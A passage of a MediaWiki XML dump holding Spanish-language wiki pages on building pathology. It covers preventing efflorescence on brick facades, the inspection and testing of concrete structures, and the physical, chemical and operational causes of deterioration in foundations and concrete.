      <comment>Mazbel trasladó la página [[Patología de la edificación/Fachadas/Eflorescencias/6.PREVENCIÓN]] a [[Patología de la edificación/Fachadas/Eflorescencias/Prevención]]</comment>
      <origin>145871</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1958" sha1="e9vizd130pgnimokq0tivamszs2nf2j" xml:space="preserve">'''6. PREVENCIÓN'''

Las prevenciones se orientarán a las decisiones tomadas en proyecto y ejecución de los materiales. Habrá que prevenir dos aspectos a la hora de desarrollar la obra: 

:-'''Prevención de humedades'''

:-'''Asegurar la inexistencia de sales solubles''': Habrá que cumplir con lo especificado en el Pliego de Condiciones a la hora de aceptar los materiales que llegan a obra (deberán ser no eflorescibles) y se deberán realizar los correspondientes ensayos de eflorescibilidad a los elementos realizados “in-situ” en obra. Estas comprobaciones habrá que realizarlas tanto con los materiales que van a cara vista como los que no.

:-'''Durante la construcción''': Habrá que evitar que los ladrillos se mojen demasiado, por tanto, en caso de fuertes lluvias habrá que cubrirlos. Antes de ser trasladados a obra, el fabricante habrá de tener este mismo aspecto en cuenta.

:-'''Evitar que los ladrillos en obra se contaminen''' por absorción de sales solubles de fuentes externas. (no apilarlos sobre escorias del horno, en suelos salinos, encima de productos industriales, terrenos de escombros…).

:-'''No permitir que los ladrillos se mojen''' por las superficies que no están expuestas a una rápida evaporación. En caso de que aparezcan eflorescencias en zonas no expuestas determina que existen filtraciones anormales de agua debido a una incorrecta ejecución o a un fallo de proyecto.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

6.Prevención</text>
      <sha1>e9vizd130pgnimokq0tivamszs2nf2j</sha1>
    </revision>
    <revision>
      <id>430075</id>
      <parentid>430071</parentid>
      <timestamp>2026-08-02T10:53:46Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430075</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="1971" sha1="ocs77jeygejsf4643f0yyi80l2zsosq" xml:space="preserve">'''6. PREVENCIÓN'''

Las prevenciones se orientarán a las decisiones tomadas en proyecto y ejecución de los materiales. Habrá que prevenir dos aspectos a la hora de desarrollar la obra: 

:-'''Prevención de humedades'''

:-'''Asegurar la inexistencia de sales solubles''': Habrá que cumplir con lo especificado en el Pliego de Condiciones a la hora de aceptar los materiales que llegan a obra (deberán ser no eflorescibles) y se deberán realizar los correspondientes ensayos de eflorescibilidad a los elementos realizados “in-situ” en obra. Estas comprobaciones habrá que realizarlas tanto con los materiales que van a cara vista como los que no.

:-'''Durante la construcción''': Habrá que evitar que los ladrillos se mojen demasiado, por tanto, en caso de fuertes lluvias habrá que cubrirlos. Antes de ser trasladados a obra, el fabricante habrá de tener este mismo aspecto en cuenta.

:-'''Evitar que los ladrillos en obra se contaminen''' por absorción de sales solubles de fuentes externas. (no apilarlos sobre escorias del horno, en suelos salinos, encima de productos industriales, terrenos de escombros…).

:-'''No permitir que los ladrillos se mojen''' por las superficies que no están expuestas a una rápida evaporación. En caso de que aparezcan eflorescencias en zonas no expuestas determina que existen filtraciones anormales de agua debido a una incorrecta ejecución o a un fallo de proyecto.


[[../|EFLORESCENCIAS]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./1.DEFINICIÓN|1.Definición]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./2.ORIGENES DE LAS EFLORESCENCIAS|2.Origenes de las eflorescencias]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./3.TIPOLOGÍAS|3.Tipologías]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./4.DIAGNOSTICO|4.Diagnóstico]]

[[Patología de la edificación/Fachadas/4.Eflorescencias./5.REPARACIÓN|5.Reparación]]

6.Prevención

{{AutoCat}}</text>
      <sha1>ocs77jeygejsf4643f0yyi80l2zsosq</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Inspección y control</title>
    <ns>0</ns>
    <id>13313</id>
    <revision>
      <id>430171</id>
      <parentid>417548</parentid>
      <timestamp>2026-08-02T11:54:56Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430171</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9596" sha1="3s6wvvslz9jii4a7pqze5qpin8lp7db" xml:space="preserve">La inspección en estructuras de hormigón está especialmente dirigida a comprobar su seguridad respecto a la capacidad de carga y a la determinación de las expectativas de durabilidad en servicio.
La seguridad de una estructura respecto a las acciones a las que está sometida sólo se puede garantizar si existe un coeficiente de seguridad aceptable, mientras que la durabilidad frente a las acciones ambientales será aceptable si la protección física y química de la que dispone es suficiente para la vida útil restante prevista.
Los motivos que nos llevan a realizar una inspección en la estructura de hormigón son muy variados y se deben tener en cuenta para la planificación del trabajo; pero en cualquier caso, el trabajo de inspección exige seguir un proceso ordenado que nos permita ir avanzando. Esta metodología se divide en tres etapas: prediagnosis, estudios previos/diagnosis y diagnóstico. Podemos hacer una clasificación de la inspección en obra, en laboratorio y en la oficina técnica, según la etapa del estudio.


== En Obra ==


=== Prediagnosis ===


El objetivo es realizar un primer estudio del estado del edificio y de sus características y hacer una primera valoración, en la cual se decidirá la necesidad de continuar con el proceso de inspección o no. 
En esta etapa nos limitaremos a reconocer el edificio y a establecer el funcionamiento de la estructura de hormigón a analizar, realizando un esquema de la distribución de cargas. Los planos nos permitirán observar variaciones volumétricas, que pueden conllevar variaciones en la distribución de cargas; también nos ayudarán a determinar que zonas ocultas es necesario inspeccionar. Debemos determinar cualitativamente las características de los materiales y localizar los síntomas y las lesiones y sus posibles causas.
Se trata de hacer una valoración inicial sobre la seguridad y la durabilidad de la estructura, y en su caso, adoptar medidas urgentes.
Si la conclusión de esta etapa es no continuar con la inspección puede ser debido a dos motivos totalmente contrarios: porque la estructura se encuentre en perfecto estado, o porque no merezca la pena intervenir por el pésimo estado en el que se encuentra. Si decidimos continuar con el proceso, podemos orientar la siguiente fase hacia aquellas zonas que requieran mayor atención; e incluso podemos adoptar refuerzos provisionales para evitar riesgos (apeos, desalojos parciales o totales, ordenar reducciones de carga provisionales, etc.).

La inspección se realizará sin demasiados medios auxiliares, basándose más en la experiencia del técnico diagnosticador. Se intentará determinar de manera visual los defectos del tipo:
:* Deformaciones excesivas en elementos horizontales.
:* Fisuras o grietas en elementos estructurales.
:* Cambios de aspecto en la superficie del hormigón.
:* Fisuras en elementos no estructurales que puedan ser debidas a fallos estructurales.

Herramientas: 
Linterna, maceta y cincel, rociador de fenolftaleína, bolsas etiquetadas para la toma de muestras, lupas tipo cuentahílos, cinta métrica de bolsillo, cámara fotográfica, detector de armaduras, etc.

=== Estudios previos/Diagnosis ===


En esta fase debemos recoger la información en todos los campos necesarios para determinar la seguridad y durabilidad de la estructura y, para determinar las causas de las lesiones y decidir la intervención. La prediagnosis servirá como base de partida y esta fase se centrará en los puntos que han sido señalados en dicha fase, que determinará el procedimiento a seguir para recabar mayor información.
Para el análisis de la estructura necesitamos en primer lugar localizar las zonas en mal estado, conocer las características del hormigón y del acero y las solicitaciones a las que están sometidos. 


'''La información que necesitamos recoger para conocer la seguridad de la estructura:'''
:* Características constructivas: Dimensiones y geometría de las piezas; Armadura, tamaños y disposición; y el sistema constructivo.
:* Características estructurales: Valoración de las acciones; tipología estructural; estudiar posibles variaciones respecto del proyecto original.
:* Prestaciones mecánicas: Resistencia del hormigón a compresión, y límite elástico del acero.
:* Análisis de lesiones: Fisuras, disgregaciones, deformaciones, corrosión, desplazamientos, textura y color superficial.


'''Información necesaria para determinar la durabilidad:'''
:* Características constructivas: Recubrimiento de la armadura y la disposición de ésta junto con sus diámetros; el sistema constructivo.
:* Características de los materiales: Porosidad del hormigón.
:* Agentes agresivos: Características del ambiente; [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Profundidad de Carbonatación|Profundidad de Carbonatación]]; [[Contenido de Cloruros]]; y [[Contenido de Sulfatos y Sulfuros]].
:* Análisis de lesiones: Estado figurativo; nivel de [[Patología de la edificación/Estructuras de hormigón/Lesiones/Corrosión de armaduras|Corrosión de armaduras]] y la velocidad de ésta; Desplazamientos; textura y color superficiales.


Cuando se plantea una campaña de ensayos debe prepararse un plan de actuación donde se defina el número de ensayos, su localización, el tipo de técnicas a utilizar y todos los datos que sean necesarios para llevarla a cabo.
Un proceso importante es la fijación de criterios de muestreo para cada prueba, siendo en cada caso algo particular, en función de la tipología estructural, el volumen del edificio, los parámetros buscados, etc.

Vamos a describir cada uno de los ensayos que se utilizan según el reconocimiento que deseemos realizar a la estructura.


'''1.RECONOCIMIENTO DE LA ESTRUCTURA'''

:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Fisurómetros|Ver Fisurómetro en el Glosario]]
:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Pachómetro|Pachómetro]]


'''2.CARACTERIZACIÓN DE LA MASA DE HORMIGÓN'''

:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Ultrasonidos|Ultrasonidos]]
:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Esclerómetro|Esclerómetro]]
:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Pistola Windsor|Pistola Windsor]]


'''3.APROXIMACIONES A LA DURABILIDAD'''

:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Profundidad de Carbonatación|Profundidad de Carbonatación]]
:* [[Patología de la edificación/Conceptos generales/Definiciones/Instrumentos y Pruebas/Corrosímetro|Corrosímetro]]

== En Laboratorio ==


=== Estudios previos/Diagnosis ===


En laboratorio sólo tiene lugar la fase de diagnosis ya que aquí se realizan ensayos para determinar características del material.


'''1.CARACTERIZACIÓN DE LA MASA DE HORMIGÓN'''

:* [[Patología de la edificación/Estructuras de hormigón/Inspección y control/Probetas Testigo|Probetas Testigo]]
:* [[Microprobetas]]
:* [[Patología de la edificación/Estructuras de hormigón/Inspección y control/Probetas prismáticas|Probetas prismáticas]]


'''2.APROXIMACIONES A LA DURABILIDAD'''

:* [[Patología de la edificación/Estructuras de hormigón/Densidad y porosidad|Densidad y Porosidad]]
:* [[Contenido de Cloruros]]
:* [[Contenido de Sulfatos y Sulfuros]]
:* [[Análisis químico tradicional por discriminación de óxidos]]
:* [[Difracción de Rayos X (DRX)]]
:* [[Análisis Térmico Diferencial (ATD)]]
:* [[Lupa Binocular]]
:* [[Microscopía de Lámina Fina]]
:* [[Microscopía Electrónica]]


'''3.PRUEBAS DE CARGA'''
[[Archivo:Pruebas_de_carga_pilote_estática.jpg|thumb|60px|prueba de carga estática de un pilote]]
[[Archivo:Pruebas_de_carga_pilote_dinámica.jpg|thumb|60px|prueba de carga dinámica de un pilote]]
: Se trata de ensayos destinados a verificar el comportamiento de estructuras sometidas a la situación de carga de servicio (generalmente) para determinar la seguridad de los elementos. Consiste en cargar un elemento que trabaje a flexión (como el forjado) con unas cantidades y situaciones de carga que permitan reproducir las solicitaciones deseadas con los márgenes previstos. Se miden las deformaciones en varios puntos, se procede a la descarga, y se vuelven a medir las deformaciones. Si el elemento soporta las acciones sin figuraciones inadmisibles, con flechas máximas admisibles y recuperando sensiblemente la situación inicial, la prueba se considera satisfactoria.

== En Oficina Técnica ==


=== Diagnóstico ===


En esta etapa debemos analizar la información recogida y llegar a unas conclusiones respecto a las medidas a adoptar. El técnico diagnosticador debe tomar decisiones y plantear las intervenciones necesarias en caso de que la conclusión final sea intervenir en la estructura. A veces es difícil conseguir la información suficiente para poder concluir con seguridad en una respuesta precisa.

El técnico diagnosticador debe ser capaz de reconocer sus limitaciones o las que le impone una información insuficiente para no plantear intervenciones innecesarias, que pueden resultar costosas, o que si no son adecuadas, podrían causar algún accidente en el futuro.


----
'''[[Patología de la edificación/Estructuras de hormigón/Inspección y control/BIBLIOGRAFÍA|BIBLIOGRAFÍA]]'''
----

[[Categoría:Patología de la edificación]]

{{AutoCat}}</text>
      <sha1>3s6wvvslz9jii4a7pqze5qpin8lp7db</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Causas materiales y mecanismos de deterioro</title>
    <ns>0</ns>
    <id>13315</id>
    <revision>
      <id>430120</id>
      <parentid>211996</parentid>
      <timestamp>2026-08-02T11:44:02Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430120</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="9728" sha1="m4vpzj7e0uhgyaoamqnmhmhdgbzkkcj" xml:space="preserve">==AGRESIONES EXTERNAS==

===AGENTES Y MECANISMOS FÍSICOS===

[[Imagen:Arboles.jpg|200px|thumb|right|raices]]
El agua es uno de los elementos de la naturaleza que más va a influir en la aparición de patologías en las cimentaciones. En ella se combinan los tres tipos de agresiones que pueden darse: las biológicas, las químicas y las físicas. Éstas últimas posiblemente sean las más comunes, por lo que metemos al agua dentro de este apartado.
La cantidad de agua determina en gran medida las características del suelo en el que se asienta el edificio. Las variaciones de humedad que se puedan dar en éste son debidas a:

'''-Cambios en el nivel freático.''' Debido a la influencia que puedan ejercer nuevas construcciones en las inmediaciones.
-Roturas o escapes de conducciones subterráneas de agua o desagües. Pueden ser del propio edificio o haberse provocado en las inmediaciones al mismo.

'''-Eliminación de pozos de bombeo,''' drenajes o alteraciones durante su reparación.

'''-Excesivo riego de zonas anejas.''' Especialmente cuando se tienen cimentaciones superficiales en suelos arcillosos. 

'''-Existencia de arbolado.''' Las raíces de los árboles producen un desecado del terreno, lo que puede provocar asentamientos inesperados.


'''-Riadas, inundaciones y otros.''' Estos son los fenómenos que más afectan a las cimentaciones, especialmente a las superficiales. Producen numerosos efectos, como empujes hidrodinámicos sobre los elementos estructurales, degradación de los materiales, colapso de suelos arenosos, reducción de la capacidad portante del terreno, asientos diferenciales, descensos generalizados, deslizamientos y rotura de las redes de saneamiento.

'''-Rellenos del terreno.''' Los rellenos puestos alrededor de las cimentaciones para completar el vacío que ha dejado la excavación constituye un drenaje sin salida que altera notablemente las condiciones del terreno. Otras alteraciones que producen los rellenos es cuando éstos se asientan, de manera que rompen o alteran los conductos de conducción de aguas.


''Generación de condiciones desfavorables para las cimentaciones (a causa del agua)''


'''-Expansión y contracción de arcillas.''' La alteración de los niveles de humedad en los suelos arcillosos provoca cambios físicos en el terreno. Cuando existe una mayor cantidad de agua de la normal en el terreno se produce una dilatación del mismo. Por el contrario, cuando disminuye ek contenido de agua se produce una pérdida del volumen del terreno.

'''-Alteración de la resistencia del suelo.''' El exceso de agua en el terreno (especialmente en los de granulometrías finas) y el consiguiente aumento de volumen, producen una pérdida de la capacidad resistente del terreno.

'''-Inundación de los terrenos en los que se encuentra la cimentación.''' Puede darse por varias circunstancias que estarán explicadas en otros epígrafes dentro del apartado de causas. Señalar aquí solamente los empujes hidrostáticos provocados por el agua, así como la posible aplicación del principio de Arquímedes referido a los empujes ascendentes de los cuerpos. Este último es el menos probable, ya que el peso del edificio suele contrarrestar las fuerzas no desadas.

'''-Daños causados por las heladas.''' Generalmente los terrenos  de constitución granular gruesa (gravas), no se ven alterados por el aumento del voumen del agua al congelarse, ya que suelen disponer de espacio suficiente entre las partículas que lo forman. Sin embargo, en los terrenos de granulometría fina no existen tales huecos, por lo que éstos se levantarán con las heladas y descenderán con el deshielo, con el consiguiente perjuicio a las cimentaciones, especialmente a las superficiales.

'''-Descalces por socavación y erosión.''' La circulación de agua no prevista a través del suelo de cimentación puede provocar, especialmente en suelos arenosos, socavaciones, arrastres o erosiones que dejarán descalzada la cimentación allí donde ocurra este fenómeno. El problema de este hecho es que generalmente estos problemas no se detectan hasta que se ha producido el asentamiento, los cuales pueden ser, en algunos casos, de gran magnitud. Puede producirse en edificios cercanos a las riberas de los ríos.


===AGENTES Y MECANISMOS BIOLÓGICOS===


====''Pudrición de las cimentaciones de madera.''==== 
La madera puede destruirse por putrefacción a causa de los hongos e insectos xilófagos que se alimentan de sus células. No obstante, estos seres requieren humedad y aire para su supervivencia, por lo que los ataques se producen por encima del nivel freático, así como cuando se trabaja cerca del mar o en zona de margas. Si un pilote permanece inmerso en agua no sufrirá ningún ataque. Por último, tener en cuenta que los factores externos al edificio (bombeos industriales, redes de saneamiento, etc) afectan continuamente a las condiciones que rodean a las cimentaciones.


===AGENTES Y MECANISMOS QUÍMICOS===


====''Corrosión de las cimentaciones de metal.''==== 
Al igual que la madera, si la cimentación se encuentra sumergida totalmente en el agua no habrá corrosión producida por las sustancias químicas (agua, sales, ácidos, álcalis, el propio terreno, etc). Sin embargo, como ya se ha dicho antes, esta circunstancia es muy difícil de mantener, por lo que se tendrá que tener la suficiente prudencia y prevención a la hora de planificar la cimentación.

====''Degradación de las cimentaciones de hormigón.''====

:El hormigón se ve afectado por numerosas sustancias. Generalmente el cemento es lo primero que suele descomponerse.

:Las aguas químicamente puras, disuelven la cal del cemento, reduciendo la compacidad y, por consiguiente,la resistencia de éste. El problema se solucion utilizando cementos con escasa cal libre, como ser, cementos de escoria, cementos puzometalúrgicos cementos aluminosos. 

:Las aguas que hayan circulado por suelos que contengan sulfato de cal o yeso (aguas selenitosas), o sulfato magnésico (aguas magnésicas), representan un peligro para las cimentaciones de hormigón.

:Las primeras se combinan con el aluminato tricálcico, el cual es produce una sustancia tremendamente expansiva llamada sal de Clandot. La formación de sal de Clandot provoca tales tensiones en el hormigón que determinan su rotura. En el caso de cimentaciones de hormigón en contacto con aguas que hayan circulado por suelos que contengan cloruros –sódico, potásico– y agua de mar, se recurrirá al uso de los cementos adecuados a estos medios.

:Otros agentes que atacan las fundaciones de hormigón son las aguas ácidas naturales, que contienen ácidos húmicos (aguas de turberas), las aguas que contienen ácido carbónico en disolución y ácidos minerales (nítrico, sulfúrico, etc.).
:La mayoría de los ácidos orgánicos también atacan al hormigón: el ácido láctico –habitual en lecherías, queserías, fábricas de yogures, porquerizas, curtidurías–, el ácido acético –fábricas de vinagre–, el ácido fórmico –industrias químicas, farmacéuticas–, el ácido málico –fábricas de sidra, conservas–, deben mantenerse fuera del alcance de las cimentaciones a base de hormigón.

:Los cuerpos grasos, como aceites animales, vegetales o minerales, se manipulan en numerosas industrias (almazara de aceite de oliva, colza, girasol, nuez, pesquerías de bacalao, industrias farmacéuticas; aceite de ricino, de lino, de glicerina) y, aunque no sean solubles en el agua de escorrentía, sí se pueden encontrar en emulsión y desempeñar un papel muy nocivo para el hormigón. La enumeración de las agresiones de que puede ser objeto el cemento es demostrativa de la prudencia a que obliga la ejecución de cimentaciones en terrenos que puedan convertirse en agresivos. Así sucede en la mayoría de las fábricas de productos químicos, que tienden a desembarazarse de sus residuos contaminantes por medios poco confiables.

:Cuando se trata de eliminar residuos líquidos, uno de estos medios más utilizados es el pozo negro o sumidero, razón por la cual, a un cliente de este tipo, se le debe exigir el análisis del terreno y de las aguas previo a la realización de cualquier fundación.
:El suelo se puede encontrar contaminado y, en cualquier caso, se recabará información acerca de la clase de residuos evacuados en el terreno.

:La elección de un cemento apto no dispensa de conseguir un hormigón lo más compacto posible, con alta dosificación de cemento y mínima porosidad. De esta manera, el ataque se producirá sólo a nivel superficial.

==DESÓRDENES CONSTRUCTIVOS==


====''Edificios construidos en distintos momentos.''==== 
Según la composición de los suelos, éstos tardarán más o menos tiempo en asentarse. En cualquier caso, este asentamiento va a provocar alteraciones en los terrenos adyacentes, donde pueden descansar edificios construidos previamente. 

Este hecho suele darse en mayor medida en cimentaciones superficiales. Suele solucionarse con una junta de asentamiento, aunque es una solución que no garantiza por completo la aparición de patologías. Otras posibles actuaciones son la de cimentar el muro limítrofe lo más alejado posible de las edificaciones adyacentes (que generará problemas tanto estructurales como económicos) o usar una cimentación mediante pilotes que no tenga conexión alguna con el edificio contiguo.

====''Daños por cimentación heterogénea de una construcción.''==== 
En edificaciones de grandes dimensiones, edificaciones con sótanos en parte de su planta, construcciones en terreno en pendiente o edificios puede darse el caso de que sus cimentaciones sean heterogéneas.

{{AutoCat}}</text>
      <sha1>m4vpzj7e0uhgyaoamqnmhmhdgbzkkcj</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Cimentaciones/Superficiales/Causas operativas</title>
    <ns>0</ns>
    <id>13317</id>
    <revision>
      <id>430114</id>
      <parentid>61493</parentid>
      <timestamp>2026-08-02T11:43:11Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430114</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="5510" sha1="9ant3xaw1q5mfgxntob8xab0w0bnnd6" xml:space="preserve">== Causas operativas ==

'''DEFECTOS DE PROYECTO (PLANIFICACIÓN, CONCEPCIÓN Y DISEÑO)'''


Son errores de concepción, de diseño o cálculo del proyecto. Son previsibles, por lo que si se tienen en cuenta en el diseño y cálculo de la edificación, el riesgo de que provoquen daños se minimiza. 
Las principales causas de problemas derivadas del proyecto son:


'''-Falta de capacidad de carga''': cimentación insuficiente o capacidad de carga del suelo insuficiente.

'''-Esfuerzos no contemplados,''' por ej. por olvido de algunas sobrecargas de explotación.

'''-Conocimiento insuficiente del suelo.''' Lo que deriva en la ignorancia de riesgos especiales geotécnicos. Las causas pueden ser: escasez de reconocimientos previos del terreno, mala interpretación de los mismos, no consideración de los fenómenos de agresividad, etc. 
Cobra importancia en terrenos con especiales características, como en arcillas expansivas, suelos colapsables, rellenos antrópicos y suelos blandos naturales.  
  
'''-Infravaloración del riesgo geotécnico, conocido éste.''' Casos así pueden ser: desprecio de los efectos que produce la falta de homogeneidad de un suelo o las distintas profundidades de aparición de la roca en planta, desprecio de los efectos de la potencial expansividad o de posible subpresión o fenómenos de subsidencias, procesos de disolución, etc. 

'''-Defectos en la evaluación del terreno:''' asientos calculados no tolerables por la estructura, esfuerzos parásitos en pilotes (olvido del efecto de asiento de terrenos flojos o rellenos recientes), etc.

'''-Efecto grupo en pilotes:''' defectuosa estimación del efecto grupo en pilotes flotantes, no consideración de los esfuerzos laterales o del rozamiento negativo, etc.

'''-Ausencia de consideración del bulbo de tensiones de la cimentación propia, y su alcance.''' Pero también de cimentaciones colindantes, que podrían suponer una carga oblicua sobre nuestra cimentación: habrá que considerarla en cálculo y prever un proceso constructivo adecuado (no vayamos a provocar daños a otras edificaciones).

'''-Ignorancia de las condiciones de contorno,''' es decir no consideración de las condiciones del entorno de la estructura proyectada: posibles socavaciones, arrastres, descalces, agotamientos, rebajamientos de nivel freático, etc.

'''-Heterogeneidades:''' distribución irregular de las cargas, o excesiva excentricidad de las mismas a nivel de cimentación.

'''-Mala calidad en los materiales.''' La mala calidad  de los materiales o su incorrecta elección provoca complicaciones tanto en la resistencia de las cimentaciones como en su futura reparación.

'''-Variaciones en las hipótesis de proyecto.''' Se trata de las modificaciones al proyecto del propio edificio que pueden afectar a la cimentación. Y esto puede ocurrir de varias formas, entre ellas:

-Aumento del número de plantas sobre rasante. 

-Necesidad de profundizar la cimentación en toda o parte de la estructura, para ganar sótanos o bien    fosos industriales, cámaras acorazadas, etc.

-Incrementos de sobrecargas de uso. Aumento de la actividad que precise la aparición de elementos no previstos (fichero, etc) o bien un cambio de actividad y consecuentemente de las cargas. Incluso solicitaciones dinámicas de maquinaria, no previstas inicialmente.

-Cese de la actuación de fuerzas que disminuían o contrarrestaban las cargas.

-Rehabilitación o adecuación al uso sobre todo en plantas bajas. Cambio de función de la estructura y normalmente conlleva una redistribución de cargas, con una nueva distribución de pilares, apertura de huecos no previstos en muros de fachada, etc.


'''DEFECTOS DE EJECUCIÓN (FABRICACIÓN, EJECUCIÓN Y POSESIÓN)'''


No deben confundirse con los errores de proyecto por ser ejecución de éstos. Los defectos de ejecución normalmente responden a un deficiente Control de Calidad. Por tanto, en principio son evitables.


Algunos errores de ejecución podrían ser:

'''-Apreciación errónea de los estratos resistentes,''' confundidos con capas de poco espesor, bolos erráticos, etc.

'''-Errores de replanteo'''

'''-Mala calidad de los materiales, en especial hormigones.''' Deterioro de zapatas, losas o muros por escasa calidad de los materiales: grietas de retracción por mala dosificación del hormigón, materiales con resistencia inferior a la requerida en proyecto, etc. 

'''-Degradación del material, suele ir unido al anterior:''' hormigón no resistente a la agresividad del terreno, recubrimientos insuficientes, madera, metal, etc... 

'''-Lavado del hormigón en cimentaciones superficiales o profundas,''' colocado en presencia de aguas en movimiento.

'''-Errores en la colocación de armaduras,''' confusión de diámetros de armado, ausencia de separadores, etc...

'''-Problemas de fraguado,''' unidos a errores de vertido, de dosificación, de curado...

'''-Cimentaciones profundas mal ejecutadas''' (fondo no bien limpio, cortadas, lavadas,...) o de baja calidad y excesiva carga portante de cálculo.

'''-Rotura o corte de pilotes,''' rotos durante la hinca o pilotes hincados en arcilla blanda que no han sido rehincados debidamente, fallo de los empalmes en pilotes de acero o de madera, defectuosa extracción de la entubación en el caso de pilotes hormigonados in situ, etc

'''-Rellenos estructurales.''' Defectos de compactaciones en cimentaciones sobre rellenos estructurales (sustituciones de terreno o mejoras del mismo).

{{AutoCat}}</text>
      <sha1>9ant3xaw1q5mfgxntob8xab0w0bnnd6</sha1>
    </revision>
  </page>
  <page>
    <title>Patología de la edificación/Estructuras de hormigón/Causas funcionales y materiales del deterioro</title>
    <ns>0</ns>
    <id>13318</id>
    <revision>
      <id>430169</id>
      <parentid>421865</parentid>
      <timestamp>2026-08-02T11:54:51Z</timestamp>
      <contributor>
        <username>Mazbel</username>
        <id>57931</id>
      </contributor>
      <comment>Plantilla: {{AutoCat}}</comment>
      <origin>430169</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="13823" sha1="l4an3eleo5jdy9z4undgblj0h0yniej" xml:space="preserve">*'''[[Patología de la edificación/Estructuras de hormigón/Causas materiales y mecanismos de deterioro/Forjados|Forjados de Hormigón (Acceso directo)]]'''


*'''Estructuras de hormigón (excepto forjados):'''

== Introducción ==
Las '''causas''' de las alteraciones y las patologías que pueden generarse en el hormigón tienen su origen en una gran diversidad de factores. El conocimiento de estas es fundamental en cualquiera de las etapas de una construcción que emplee hormigón como material. Para ello hay que tener muy en cuenta tanto los factores de diseño, así como su construcción.

La determinación de las causas que ha provocado el hormigón no siempre es fácil, pero es importante como medida previa a la aplicación de remedios y de una terapia adecuada; no hay que olvidar que, en general, las mismas causas producen idénticos tipos de defectos, de forma que conociendo la causa es posible prever el cuadro de fisuras que pueden aparecer, esquematizar el fenómeno y determinar sus posibles consecuencias o viceversa. Teniendo en cuenta, que en varias ocasiones las causas pueden ser combinadas.

Se puede realizar una pequeña clasificación de las causas según su origen:

*Derivadas de los componentes del hormigón
*Derivadas de la fabricación y ejecución
*Defectos y deterioro del acero de la armadura
*Influencia del ambiente
**Deterioro por agentes externos: 
***Físicos 
***Químicos
Se origina siempre que la tensión, generalmente a tracción, a la que se encuentra sometido el material sobrepasa su resistencia última.
Se podrán distinguir por varias razones:
**Edad de aparición en el elemento estructural
**Por su forma
**Trayectoria
**Abertura
**Movimiento, etc. 

Hay que tener especial cuidado con distinguir el hormigón endurecido del fresco, y los defectos, fallos o lesiones en uno y otro porque, por ejemplo, un defecto del hormigón fresco puede provocar una lesión en el endurecido (un hormigón con una consistencia muy seca, difícilmente compactable, puede quedar con oquedades y poros que permitan la corrosión de las armaduras).
Un dato a tener en cuenta, es la consideración que se le da al hormigón como un sistema homogéneo en su composición, compacto e inerte al medio donde se sitúa. Pero en realidad es todo lo contrario, se trata de un compuesto de sistema heterogéneo y poroso, sometido, a un medio capaz de alterarlo y reaccionar con sus componentes; jugando como factor fundamental no solo su protección física sino también su composición química, que es la que permite la correcta protección de la armadura.

CAUSAS COMUNES QUE PROVOCAN LAS FISURAS EN EL HORMIGÓN
*Alto contenido de agua en el hormigón, provocando retracción hidráulica.
*Alta dosificación de cemento. Evitar la necesidad de emplear mas agua, para no provocar la causa anterior. Lo ideal, seria el mínimo consumo de cemento.
*Elevado calor de hidratación del cemento. Provoca menor resistencia a la tracción.
*Movimiento de la estructura por asientos diferenciales o por estar asentado en suelos expansivos.
*Exceso de cargas, tanto estáticas como dinámicas.
*Los cambios climáticos y metereológicos (la humedad, sequedad del sol, la lluvia, ciclos de hielo-deshielo, los vientos secos calientes o fríos, etc) ocasionan las contracciones y expansiones que originan las tensiones traccionadas internas.
*Ataque de químico, como los sulfatos, reacción de los álcalis del cemento, corrosión de las armaduras en ambientes adecuados para ello, etc.

== Abusos de Posesión ==
Aparición de acciones para las que la estructura no está preparada

== Agresiones Externas ==

El hormigón como cualquier otro material, esta expuesto a sufrir acciones físicas tales como; abrasión, cambios térmicos o higrotérmicos, heladas, capilaración del agua, desgaste por rozamiento, impactos, acción del fuego, sobrecargas estáticas y dinámicas, etc. Igualmente el hormigón en contacto con ambientes agresivos desde el punto de vista químico como ácidos, bases, sales, etc., dan lugar a un ataque y deterioro de los hormigones.


=== AGENTES Y MECANISMOS QUÍMICOS === 
